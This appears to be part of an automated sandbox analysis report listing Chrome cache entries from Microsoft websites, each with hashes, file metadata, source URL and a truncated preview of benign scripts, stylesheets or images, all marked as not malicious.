Preview:	'use strict';window.ExpConsentUtils=window.ExpConsentUtils\|\|{};window.ExpConsentUtils=function(){return{waitForObj:function(f){return new Promise(function(d,c){var h=0,k=setInterval(function(){100>h?"visitor"==f&&"object"===typeof visitor&&visitor\|\|"consent"==f&&"undefined"!==typeof WcpConsent&&WcpConsent&&"undefined"!==typeof WcpConsent.siteConsent&&WcpConsent.siteConsent&&"undefined"!==typeof GPC_DataSharingOptIn&&null!=GPC_DataSharingOptIn?(clearInterval(k),d()):h++:(clearInterval(k),c())},50)})}}}();.var ExpConsentHandler=function(){function f(){window.ExpConsentUtils.waitForObj("visitor").then(function(){visitor.getVisitorValues(function(a){adobe.target.trackEvent({mbox:"personalizationConsent"})})}).catch(function(a){console.log(a)})}function d(){return WcpConsent&&WcpConsent.siteConsent&&void 0!==WcpConsent.siteConsent.isConsentRequired&&null!==WcpConsent.siteConsent.isConsentRequired?WcpConsent.siteConsent.isConsentRequired:!0}function c(){var a=WcpConsent&&WcpConsent.siteConse

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (505)
Category:	downloaded
Size (bytes):	1418
Entropy (8bit):	5.418786110345074
Encrypted:	false
SSDEEP:	24:gkWndJbDZVHGCGH0199EYCDNQNFHOS91AqCCoW40HJtmz2Xw+mlu4oFU5kveTOwD:gkw9ZVHG3HEuvNQNFv16XW1HJEkmEhUh
MD5:	20AAFDF6904D3DC5DB0E0E33ABBFC1A4
SHA1:	CC1A639FF69FE0D8A8F1EFEE7FCB04941E7B57C8
SHA-256:	EE4E620F350907CE3867454B2BD45984BE949EB46B113183D4B8B403032DA14D
SHA-512:	91B0BD81FCD2D3D040D9FC1DB74F5CA916EF88E7887D2868530BF1319EAF5462CC54421AB80FC97B258B569B9AF40F2B9FD1B6D417C9A4561BBA22EDF785D905
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-jquery-cookie.min.ACSHASH20aafdf6904d3dc5db0e0e33abbfc1a4.js
Preview:	/. jQuery Cookie Plugin v1.4.1. https://github.com/carhartl/jquery-cookie.. Copyright 2013 Klaus Hartl. Released under the MIT license./.'use strict';(function(d){"function"===typeof define&&define.amd?define(["jquery"],d):"object"===typeof exports?d(require("jquery")):d(jQuery)})(function(d){function l(a,c){if(e.raw)var b=a;else a:{0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{a=decodeURIComponent(a.replace(m," "));b=e.json?JSON.parse(a):a;break a}catch(h){}b=void 0}return d.isFunction(c)?c(b):b}var m=/\+/g,e=d.cookie=function(a,c,b){if(void 0!==c&&!d.isFunction(c)){b=d.extend({},e.defaults,b);.if("number"===typeof b.expires){var h=b.expires,g=b.expires=new Date;g.setTime(+g+864E5*h)}a=e.raw?a:encodeURIComponent(a);c=e.json?JSON.stringify(c):String(c);c=e.raw?c:encodeURIComponent(c);return document.cookie=[a,"\x3d",c,b.expires?"; expires\x3d"+b.expires.toUTCString():"",b.path?"; path\x3d"+b.path:"",b.domain?"; domain\x3d"+b.domain:"",b.secure?";

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	dropped
Size (bytes):	138268
Entropy (8bit):	5.224497765711851
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7CisuMK/xw/:1f4Hu1I+Tw/
MD5:	5B85413B96AF340238B93068CDB641FB
SHA1:	D949C985DF4F80FAB0CF036A1DD86C63CA342F1F
SHA-256:	1B448C19C6DF1F2D15399A710A73BB3EC0C5233B571CDFAE9CCA315E6E13FB85
SHA-512:	5B7E26BB4C72A8D8EE6CD20EEEA354ADD396F74289BD3E42CD1D6C8A5D3FA1B190CC62B953CAF4FA38EFDA0983F90F937276C8797EB2E1BADC11F9F5161117CE
Malicious:	false
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3814
Entropy (8bit):	4.825091904954067
Encrypted:	false
SSDEEP:	96:7kr61WqmaHkSP5yNGAvNdvMZTeGD9CEbRM5kbkp5uV:7kmsqmaHkSP5yNGUNdvMZyGD9CEbRM50
MD5:	3BF229102AD109AFDE6F878686B1FAC3
SHA1:	8133D2A6DF59C92B5D01F74980C384B2BE6EED15
SHA-256:	328650220039CEABC55E03DFED12F60C837C2AA8EBB253E13F65DF3F1FD0C6B0
SHA-512:	4762A15D82AC4A8FD9C3F0BEF0B3B57FCDB67C58CB9CD96621C14E1BADD9B0012A532A06F49F7A84F6D7A921B1BEF6E0996A5AA119DC12DEEC54F774513EE75F
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/components/content/stickybanner/v1/stickybanner/clientlibs/site.min.ACSHASH3bf229102ad109afde6f878686b1fac3.css
Preview:	.sticky-banner{transition:opacity 1s ease,transform 1s ease;padding:10px 0}..sticky-banner.sticky-banner-hide{transform:translate(0,100%)}..sticky-banner.stick-bottom{position:fixed;bottom:0;width:100%;z-index:99}..sticky-banner .banner-heading>*:first-child{margin:0 !important}..sticky-banner .banner-description>p{margin-bottom:5px}..sticky-banner .link-group a{border-radius:4px}..sticky-banner.button-variation .link-group .btn{padding:10px 25px}..sticky-banner.button-variation .btn-right-align{justify-content:end}..sticky-banner.button-variation .btn-left-align{justify-content:flex-end}..sticky-banner.text-button .justify-content-center.align-items-center{flex-direction:column}..sticky-banner .btn-right-align.align-items-start,.sticky-banner.text-button .row{align-items:center !important}..sticky-banner .btn-right-align.align-items-end{align-items:center !important;justify-content:flex-end !important}..sticky-banner .btn-right-align.align-items-center{align-items:center !important;ju

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59832)
Category:	downloaded
Size (bytes):	99505
Entropy (8bit):	5.20600737523251
Encrypted:	false
SSDEEP:	1536:ixTfTfE8PWCgGDbn5lHij6D4/55p2/y+XlkpttBJjm:ixTfTfE8uCPIJkSm
MD5:	895E2A12062F1EE44D7D72D266904BDE
SHA1:	896B8B40961C524472FB84C4760160267A3B89A6
SHA-256:	D2AEA4BA12C00A853C03EB8EA9575338D1A21D15314B39B9A7AA039016E6FC93
SHA-512:	5673B54ECFF13BB7263EA98A554B8DEB04C5C2151B164F0A3A1411D9BB624C0395147D618C7C3381F263EAF5EECAA0E7EDC479DB9ABDC1A611110C2DC4610D2A
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/structure/page/clientlibs/experimentation.min.ACSHASH895e2a12062f1ee44d7d72d266904bde.js
Preview:	// *************************************.// config file for at.js lib.//************************************************************************.// SET TARGET PROPERTY HERE:.const at_property = window.cas.exp.target.propertyToken; // Workspace Name.// *************************************************************************.! function () {. window.tt_getCookie = function (t) {. var e = RegExp(t + "[^;]+").exec(document.cookie);. return decodeURIComponent(e ? e.toString().replace(/^[^=]+./, "") : ""). }. var t = tt_getCookie("MC1"),. e = tt_getCookie("MSFPC");. function o(t) {. return t.split("=")[1].slice(0, 32). }. var n = "";. if ("" != t) n = o(t);. else if ("" != e) n = o(e);. if (n.length > 0) var r = n;. if (n.length > 0 && at_property != "") {. window.targetPageParams = function () {. return {. "mbox3rdPartyId": r,. "at_property": at_property,. ...(win

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (23294), with CRLF line terminators
Category:	downloaded
Size (bytes):	23758
Entropy (8bit):	5.769676176482391
Encrypted:	false
SSDEEP:	384:HWMbHIEsQdsQvZxyF1Aw8B7Nv0edjuDNaFTLLb2M/zvyMEZWpV:22H9yF1IBBdq5yF/2dW
MD5:	8BACD17B37939E408A6F5EC3497EF3F6
SHA1:	FDFFACF996F128326F44F29CBE7B06DFA437AD34
SHA-256:	EC6CCAD98AFFF5C5DB5D82820CD145FC146F329528566F37D380B050F0F73D35
SHA-512:	F6FE330540D8A5D4017C1177EC5861525FB5DDE3B3F114220F6B516AAAC4897EF33DB4F3978C61A80DE2753CEC324D2C8673BA5CFDB04080C974F9F40516071D
Malicious:	false
URL:	https://fpt.microsoft.com/tags?session_id=8fc9ab9a-d38f-45f6-810d-1ebb6f64a20c
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>.. <script>var localTarget='https://fpt.microsoft.com/',target='https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&',txnId='8fc9ab9a-d38f-45f6-810d-1ebb6f64a20c',ticks='8DD28080AA5282A',rid='eee68759-fa41-409c-b50c-0a4bca1203d2',authKey='H3ihr9e92IdW6yd1ZgQ9SxSk4vLz7GBD1517G7IdE7hXlbjxNL0cZsz2SmupqiKmFb4VeHG0sdAhhtAb7ZZ2APToim3s0Eefw4Kc3oXWz0O5bUHPU%252bZ9kdfsX1LlEDXZ3P3F2OvQ2l5CJP33BIG9iVKgvRqCpV%252fiXFYyIu%252b6cbBdy7Mmk3dT2CWoZ2s5MTWX05AdXENFUNoRGafFpaWKZKzn7SVyvN6fvCfUkzdDKZzOv0MiaZ2Z0pds0hjCoKs%252f8zASQMwA2crF1HHiB6IgCsV%252fn2pDxwXtPqSZQLmdsbQWy5UH7ApBxmj3hzrMBYl4',cid='02C58649-E822-405B-B6C3-17A7509D2FCC',assessment='',waitresponse=false,bbwait=false,commonquery='',lsInfo=true,splitFonts=false,noFonts=false,UCH=true,PTO=100,rticks=1735476915992,ipv6Url='https://fpt6.microsoft.com/probe?session_id=8fc9ab9a-d38f-45f6-810d-1ebb6f64a20c&instanceId=02C58649-E822-405B-B6C3-17A7509D2FCC

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1998)
Category:	downloaded
Size (bytes):	530473
Entropy (8bit):	5.1558754449004525
Encrypted:	false
SSDEEP:	12288:cJpYYYb5T2ZggigVl1e/zXJ5lbgutNPzedZTyatWYLe8dZshIw:cJpYb5T2Zggigv1e/zXJLbgunzedZTyT
MD5:	13ABF4CF4F8384D04A599349524DBBAD
SHA1:	BD1EE95DB4A6E7A1EE1937F47AD7C5B6D7633465
SHA-256:	3E7CE05C8874B9F3628300101F40878DF98F23A09CD4ECC9C9E5CC8067D9068A
SHA-512:	4FCA93D865844FFF1A452B343F75ED786111F1E508505DD841F954159A42E5B9CB587FDC8ADEEA431A14CD042FC4CF16305416CE4CA0C1E9D5E66803C2BD03A7
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/main-light.min.ACSHASH13abf4cf4f8384d04a599349524dbbad.js
Preview:	./!. MWF (Moray) Extensions v2.15.1. * Copyright (c) Microsoft Corporation. All rights reserved.. * Copyright 2011-2022 The Bootstrap Authors and Twitter, Inc.. * Copyright .2022 W3C. (MIT, ERCIM, Keio, Beihang).. */..(function (global, factory) {..typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :..typeof define === 'function' && define.amd ? define(['exports'], factory) :..(global = typeof globalThis !== 'undefined' ? globalThis : global \|\| self, factory(global.mwf = {}));.})(this, (function (exports) { 'use strict';...var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {};...var check = function (it) {.. return it && it.Math == Math && it;..};...// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028..var global$a =.. // eslint-disable-next-line es/no-global-this -- safe.. check(typeof globalTh

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (524)
Category:	dropped
Size (bytes):	980
Entropy (8bit):	5.221020544248936
Encrypted:	false
SSDEEP:	24:ckGytSvuT/y67L/nV9jViHwukcglwYVTYVu:catwuby67pLRuxmwCTCu
MD5:	EC8AED9DF755A7B27E52317DCF532DF8
SHA1:	60F03B5BF43D1682D1CDB7DAF5A5A37FCD29D4E8
SHA-256:	C152DD3ED8493299EA2712FFC15A0043F417FEDCF4159B2C993A006501D82AC4
SHA-512:	16890D243CE2236AA2CD01C3C85D7B0AA1DB3DC8BF8B9CFE97AD18889F4030A0B6511C9F82C62F2BDA5F1029AFF4E12A9E35B0E182FC3B2B8B677618A589F5CF
Malicious:	false
Preview:	'use strict';$(document).ready(function(){var a=window.matchMedia("(prefers-color-scheme: dark)");a.addEventListener("change",function(k){{const d=document.querySelectorAll(".socialfollow .socialfollow-li img");if(d)for(var e=0;e<d.length;e++){var b=d[e].getAttribute("src"),g=d[e].getAttribute("data-src");b&&(k.matches?(-1<b.indexOf("\x26fmt\x3dpng-alpha")&&(b=b.replace("\x26fmt\x3dpng-alpha",""),d[e].setAttribute("src",b)),-1<b.indexOf("?fmt\x3dpng-alpha")&&(b=b.replace("?fmt\x3dpng-alpha",""),d[e].setAttribute("src",.b))):g&&d[e].setAttribute("src",g))}}});if(a.matches&&(a=document.querySelectorAll(".socialfollow .socialfollow-li img")))for(var f=0;f<a.length;f++){var c=a[f].getAttribute("src"),h=a[f].getAttribute("data-src");c&&(-1<c.indexOf("\x26fmt\x3dpng-alpha")?(c=c.replace("\x26fmt\x3dpng-alpha",""),a[f].setAttribute("src",c)):-1<c.indexOf("?fmt\x3dpng-alpha")?(c=c.replace("?fmt\x3dpng-alpha",""),a[f].setAttribute("src",c)):h&&a[f].setAttribute("src",h))}});

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171505
Entropy (8bit):	5.043804815226508
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCxb:jlZAW3kJeqg
MD5:	8F186BBA557DC6140841C682AF4D60EE
SHA1:	CE2F96E57EE3D9ED15B8A2DD3EBDC7E54439AF98
SHA-256:	CDA4813A965CCD1AAA50550D08B928AAF4C7F50B6F77823213FE3A97E806C2F1
SHA-512:	17ACC430C28A171C1FD029C1B0EB67BE14ED41ED9F7F10E4040ABA1FA39B8DA5CAC7CDF979BAB6CAFAD126AA94C88D123F170E78C51745C3833AE80AD23FB36A
Malicious:	false
URL:	https://www.microsoft.com/onerfstatics/marketingsites-neu-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/1b-9d8ed9/c9-be0100/a6-e969ef/43-9f2e7c/82-8b5456/a0-5d3913/52-918540/ca-ae3ce4?ver=2.0&_cf=02242021_3231
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4565
Entropy (8bit):	7.879534543139402
Encrypted:	false
SSDEEP:	96:aSNKFuwJEQpaGX5wC3wglX5YEGdqsR1VsIAufA0E3xnMMV7:aSN3QpayvmEGdqsxsW7EhMMF
MD5:	D596565EC1F100A507CC0D5F663B6D57
SHA1:	6B688AA0541E5758B9A54C1848C6A52886E081BA
SHA-256:	4C8A06620DD3AADE66AEB759A5FC2BCEC1B51B66EA9C456B5DC3F511CB783258
SHA-512:	7E7CAF2644B686064959389EA975BC1701C8FB3FB23C44B701FE710227FE2A0A0B58769AABA6569FCBE1D79E44E5669CD60036060B3144E0C6B97A8C40D6CA9B
Malicious:	false
URL:	https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/MSFT-Microsoft-sticky-logo-RE1Mu3b?fmt=png-alpha&scl=1
Preview:	.PNG........IHDR.............J.......pHYs.................IDATx...t..u...H.$~X.....\|L16.8@........`p.&.,..+.mPKh....4)$$.H..+Y....?SB.l.1..H!.4....c+..-k...cf.....Z.bZ......f..w.}.=.}......o....G.t%.?C...SOV.n..r!.t.<<.?.)..G......x...QA<... ..yxT..@w...Jkk..t:=....8....a.w..t)ux.v.......3TU}...........4.Z..@D.\...O.......<....\J).<......u.$..^.!.rfV.y},.[....a.....Q+..d...i...9..=..iU..S"ZY$[...&..1......9r"..........O.R..h..n..B...X2..OD.,..n.4..]..k<.{..K..)...J.oB)...<.}>..6.o.~..X!.W..3s..,.<.Rj;DDg..........B\....;`..N...=1....L&.2...X,.z&m.)X1\|.\|9.`B.K`..K...u.K)7.o...CQ.9.\|.C<....b......DD..] .\b....@0...d..s..X....0.S...2uuu.&..C.......O=..O..4-..+..ttt.+WV3......L......f.\..\......dr!.....[o.u_SSS...a.a..B....?.n.8.O.f.N...+....c}2O....p8.www..)b....D.........s4..~z..!.tQ...\........2{3X.o........OK$.'..}.M.f.8..c..DT....Kl.);\.=.;::d.2.v..RN.p..Bef.(.G.tz{<..QJ[.....1W.X1Y.1.....]......<....H.0&..~..y..(.E".wK..........G2.".L..

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (576)
Category:	dropped
Size (bytes):	59868
Entropy (8bit):	5.549823852454853
Encrypted:	false
SSDEEP:	768:SlQWqrpRvrzvd49MgfvayRB5lQm6jIlY/rv0/Qql+eGH3Sc1QR40V2JoHivz1U1i:3rpRDzV49wyRBsmBlMXSY70pnduA8
MD5:	30368A72D017E4133BFD3B5D073D06FF
SHA1:	7BD9259C475D46707628108E5A1C33DDAEE43BF3
SHA-256:	ED425C2855B7269156A549BFA9C2594882C8813B1FB3CB52D067D5A9B5471E96
SHA-512:	0A3E298D69906024DC0FB5854F3E57816A81506E513A1823127F4AC7A943A0D942AD8F3D41EB5EC0DB4D2AD8ABE1F39A0B6CDB024C4F547733B9922F676A9BB3
Malicious:	false
Preview:	/.. Adobe Visitor API for JavaScript version: 4.4.0. Copyright 2019 Adobe, Inc. All Rights Reserved. More info available at https://marketing.adobe.com/resources/help/en_US/mcvid/./.'use strict';var e=function(){function N(d){return(N="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(f){return typeof f}:function(f){return f&&"function"==typeof Symbol&&f.constructor===Symbol&&f!==Symbol.prototype?"symbol":typeof f})(d)}function O(d,f,g){return f in d?Object.defineProperty(d,f,{value:g,enumerable:!0,configurable:!0,writable:!0}):d[f]=g,d}function P(d,f,g){d=null==d?void 0:d[f];return void 0===d?g:d}function R(d,f){if(d===f)return 0;d=d.toString().split(".");.f=f.toString().split(".");a:{var g=d.concat(f);for(var c=/^\d+$/,k=0,m=g.length;k<m;k++)if(!c.test(g[k])){g=!1;break a}g=!0}if(g){for(;d.length<f.length;)d.push("0");for(;f.length<d.length;)f.push("0");a:{for(g=0;g<d.length;g++){c=parseInt(d[g],10);k=parseInt(f[g],10);if(c>k){d=1;break a}if(k>c){d=-1;break a}}d=0

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65456)
Category:	downloaded
Size (bytes):	1223686
Entropy (8bit):	5.470883113843709
Encrypted:	false
SSDEEP:	24576:8uEPjek2NG0LmOkLrZ+DOR+rO0sOO322khnEZs4BeQ/7W6fC71zwFgopM9eiaYcn:8uEPj+NG0LmOkLrZ+DOR+r+OO322khnk
MD5:	261012FF1027F9B1F28717BEA40973F6
SHA1:	885F5D7A571E165EEA0E09BA86C16042D697AA6B
SHA-256:	1F586745BEC9A6372D87011A3F110AFA51E3F72835E7A723D2E75544BFEFBBE1
SHA-512:	88C3706F6E5A1392D49FCBBD3B8B33D5A522031427621275387BB7764E40B4AE1980ED5C3297EAC4E953EE91AA131AF69BB3DE816101675B907A705E5E2E2213
Malicious:	false
URL:	https://support.microsoft.com/js/Support.Main.min.js?v=H1hnRb7JpjcthwEaPxEK-lHj9yg156cj0udVRL_vu-E
Preview:	/! For license information please see Support.Main.min.js.LICENSE.txt /.!function(){var e,t={7046:function(e,t){var n={parseBuffer:function(e){return new r(e).parse()},addBoxProcessor:function(e,t){"string"==typeof e&&"function"==typeof t&&(i.prototype._boxProcessors[e]=t)},createFile:function(){return new r},createBox:function(e,t,n){var r=i.create(e);return t&&t.append(r,n),r},createFullBox:function(e,t,r){var i=n.createBox(e,t,r);return i.version=0,i.flags=0,i},Utils:{}};n.Utils.dataViewToString=function(e,t){var n=t\|\|"utf-8";if("undefined"!=typeof TextDecoder)return new TextDecoder(n).decode(e);var r=[],i=0;if("utf-8"===n)for(;i<e.byteLength;){var a=e.getUint8(i++);a<128\|\|(a<224?(a=(31&a)<<6,a\|=63&e.getUint8(i++)):a<240?(a=(15&a)<<12,a\|=(63&e.getUint8(i++))<<6,a\|=63&e.getUint8(i++)):(a=(7&a)<<18,a\|=(63&e.getUint8(i++))<<12,a\|=(63&e.getUint8(i++))<<6,a\|=63&e.getUint8(i++))),r.push(String.fromCharCode(a))}else for(;i<e.byteLength;)r.push(String.fromCharCode(e.getUint8(i++)));return

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (601)
Category:	dropped
Size (bytes):	10434
Entropy (8bit):	5.138897195822734
Encrypted:	false
SSDEEP:	192:ucdsngdKadwed0XdLIdLdOgdOudq/m0YdOK/KadqMdrudq/B2nded8vd7dtkkYdd:Nsg31oLYBlxq/bIH/Kyq8yq/B2d2YRtm
MD5:	E5E717DDD1C394CD4371209C7CD8BD28
SHA1:	B1B35E8AAEB2AA8E3A6F622DEF626AEF871A3BB3
SHA-256:	8511F1B20AB4F34B58C0D65507297CE00B07F341E5CFC31E38169230FA295BF6
SHA-512:	8DD6C2E6432FB0717F4472C6A8BA1B6B6F26C2B35F876DE2F9136F36FCA27DC05A9DC9FE5E912335F83A02BED765EE2BAAF3EAD87CD0B4A8A4204C8D75663325
Malicious:	false
Preview:	'use strict';function calcNavItemWidth(){var d=0,c=$("#stickyNavDesktop .more").outerWidth(!0);$("#stickyNavDesktop \x3e ul \x3e li:not(.more)").each(function(){d+=$(this).outerWidth(!0)});c=$("#stickyNavDesktop").width()-c;var f=$(".custom-sticky-nav").hasClass("windows-scroll-effect")?90:45;0!=d&&d/c*100>f?(c=$("#stickyNavDesktop \x3e ul \x3e li:not(.more)").last(),c.attr("data-width",c.outerWidth(!0)),c.prependTo($("#stickyNavDesktop .more ul#submenu")),calcNavItemWidth()):(f=$("#stickyNavDesktop li.more ul#submenu li").first(),.d+f.data("width")<c&&f.insertBefore($("#stickyNavDesktop .more")));0<$(".more li").length?$(".more").removeClass("d-none"):$(".more").addClass("d-none")}.function checkIfMoreHasOptions(){setTimeout(function(){$(".custom-sticky-nav .more li:not('.navitem-right-mobile')").hasClass("active")?($(".more .more-options-link").addClass("active-more"),$(".nav-right-items ul li").removeClass("active")):($(".more more-options-link").removeClass("active-more"),$(".nav-r

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (352), with no line terminators
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.097997927435311
Encrypted:	false
SSDEEP:	6:Q37FejK1hPCuLNKKCdTtyg4LKLnawvStEYl4BXWe/8hdsGg9ZPYgyg4L/:c7Mj+h6uh30tyg4LKGsSEvophufdYgyf
MD5:	46469E1FACB74FFD90D181244E48558C
SHA1:	74003A1FCBF4178C5F6F275D68468B2B765AFBE0
SHA-256:	F83D4C9FC55AB64D61D29878A7B7722D331E1FD476429736FE8AFE156D44F970
SHA-512:	8A21A9A850EE9CAF39CEFE2BD492A1721C2A69EA85BE476982BE0E24FFC6B6DB135EDAB5302A75FAAF2C55DDC0ABB21FAA34EC38230F19C10A7A70574D6871C3
Malicious:	false
Preview:	'use strict';$(function(){$(".table-container table th,td").html(function(a,b){return b.replace(/ /g," ")})});function addFootnotesTableComponentV1(){document.querySelectorAll(".table sup").forEach(a=>{0==a.children.length&&a.insertAdjacentHTML("afterbegin",'\x3cspan class\x3d"sr-text"\x3eFootnote\x3c/span\x3e')})}addFootnotesTableComponentV1();

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (576)
Category:	downloaded
Size (bytes):	59868
Entropy (8bit):	5.549823852454853
Encrypted:	false
SSDEEP:	768:SlQWqrpRvrzvd49MgfvayRB5lQm6jIlY/rv0/Qql+eGH3Sc1QR40V2JoHivz1U1i:3rpRDzV49wyRBsmBlMXSY70pnduA8
MD5:	30368A72D017E4133BFD3B5D073D06FF
SHA1:	7BD9259C475D46707628108E5A1C33DDAEE43BF3
SHA-256:	ED425C2855B7269156A549BFA9C2594882C8813B1FB3CB52D067D5A9B5471E96
SHA-512:	0A3E298D69906024DC0FB5854F3E57816A81506E513A1823127F4AC7A943A0D942AD8F3D41EB5EC0DB4D2AD8ABE1F39A0B6CDB024C4F547733B9922F676A9BB3
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/structure/page/clientlibs/visitor.min.ACSHASH30368a72d017e4133bfd3b5d073d06ff.js
